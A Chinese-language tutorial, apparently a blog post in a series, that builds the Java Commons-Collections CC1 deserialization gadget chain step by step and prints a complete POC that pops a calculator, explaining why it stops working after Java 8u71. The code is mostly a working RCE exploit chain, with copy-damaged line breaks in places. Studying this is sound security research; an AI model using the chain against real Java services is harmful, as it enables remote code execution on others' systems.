給個關注?寶兒!
給個關注?寶兒!
給個關注?寶兒!
上一篇構造了一個了commons-collections的demo
【傳送門】
package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;public class CommonCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:\\WINDOWS\\system32\\calc.exe"}),};Transformer transformerChain = newChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);outerMap.put("test", "xxxx");}
}
了解了Transformer,接下來嘗試構建poc
AnnotationInvocationHandler
這個漏洞核心,是想Map中加一個新的元素,在demo中,我們通過手工執行 outerMap.put(“test”, “xxxx”); 來出發漏洞。但是在實際反序列化中,還需要有一個雷,使他在反序列化readObject中有類似寫入的操作
就是:sun.reflect.annotation.AnnotationInvocationHandler
AnnotationInvocationHandler的 readObject方法:
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject()// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null; try {annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in
annotation serial stream");
}Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue :
memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( New AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } }
}
核心邏輯:Map.Entry<String, Object> memberValue : memberValues.entrySet() 和 memberValue.setValue(…) 。
memberValues 就是反序列化后得到的Map,也是經過了TransformeMap 修飾的對象,這里遍歷了他所有的元素,并以此設置值,在調用setValue設置時,會觸發TransformedMap里注冊的Transform ,然后繼續執行我們設計的任意代碼。
故在構造poc時,需要創建一個AnnotationInvocationHandler對象,并將前面構造的HashMap設置盡量
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
這里的sun.reflect.annotation.AnnotationInvocationHandler 是在JDK內部的類,不能直接使用new來實例化。我們使用反射獲取他的構造方法,并將他設置成外部可見的,在調用就可以實例化了。
AnnotationInvocationHandler類的構造函數有兩個參數: Annotation類 和 前面構造的Map。
使用反射的原因:
上一篇構造了 AnnotationInvocationHandler對象, 他就是我們反序列化利用鏈的七點,我們通過如下代碼將這個對象生成序列化流
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
在writeObject的時候出現異常: java.io.NotSerializableException: java.lang.Runtime 。
因為,java 中并非所有對象都支持序列化,待序列化的對象和所有他使用的內部屬性對象,必須都實現 java.io.Serializable接口。
而我們最早傳給 ConstantTransformer的事 Runtime.getRuntime(), Runtime 類是沒有實現 java.io.Serializable接口,所有不允許被序列化。
那么,就需要通過反射的方式,獲取當前上下文中的Runtime的對象,而不需要直接使用這個類
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
轉換成Transformer寫法:
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class },new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "C:\WINDOWS\system32\calc.exe" }),
};
其實和demo最大的區別就是將 Runtime.getRuntime() 換成了 Runtime.class ,前者是一個
java.lang.Runtime 對象,后者是一個 java.lang.Class 對象。Class類有實現Serializable接口,所
以可以被序列化。
為什么仍然無法觸發漏洞?
修改Transformer數組后再次運行,發現這次沒有報異常,而且輸出了序列化后的數據流,但是反序列
化時仍然沒彈出計算器,這是為什么呢?
這個實際上和AnnotationInvocationHandler類的邏輯有關,我們可以動態調試就會發現,在
AnnotationInvocationHandler:readObject 的邏輯中,有一個if語句對var7進行判斷,只有在其不
是null的時候才會進入里面執行setValue,否則不會進入也就不會觸發漏洞:
那么如何讓這個var7不為null呢?這一塊我就不詳細分析了,還會涉及到Java注釋相關的技術。直接給
出兩個條件:
- sun.reflect.annotation.AnnotationInvocationHandler 構造函數的第一個參數必須是
Annotation的子類,且其中必須含有至少一個方法,假設方法名是X 2. 被 TransformedMap.decorate 修飾的Map中必須有一個鍵名為X的元素
所以,這也解釋了為什么我前面用到 Retention.class ,因為Retention有一個方法,名為value;所
以,為了再滿足第二個條件,我需要給Map中放入一個Key是value的元素:
innerMap.put("value", "xxxx");
為什么Java高版本無法利用?
但是這段poc有局限性,我們的環境是java 8u71 以前的,在8u71后2015年12越時,Java
官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函數:http://h
g.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
對于這次修改,有些文章說是因為沒有了setValue,其實原因和setValue關系不大。改動后,不再直接
使用反序列化得到的Map對象,而是新建了一個LinkedHashMap對象,并將原來的鍵值添加進去。
所以,后續對Map的操作都是基于這個新的LinkedHashMap對象,而原來我們精心構造的Map不再執
行set或put操作,也就不會觸發RCE了。
我們這一章將上一章給出的demo擴展成為了一個真實可利用的POC,完整代碼如下:
package org.vulhub.Ser; import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]
}), new InvokerTransformer("exec", new Class[] { String.class }, new String[] {
"C:\WINDOWS\system32\calc.exe" }), };Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain); Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }
}
但是這個Payload有一定局限性,在Java 8u71以后的版本中,由于
sun.reflect.annotation.AnnotationInvocationHandler 發生了變化導致不再可用,原因前文也說
了。
看ysoserial就沒有使用這個TransformeMap,而是使用了LazyMap。
即使使用LazyMap仍然無法在高版本的Java中使用這條利用鏈,主要原因還是出在
sun.reflect.annotation.AnnotationInvocationHandler 這個類的修改上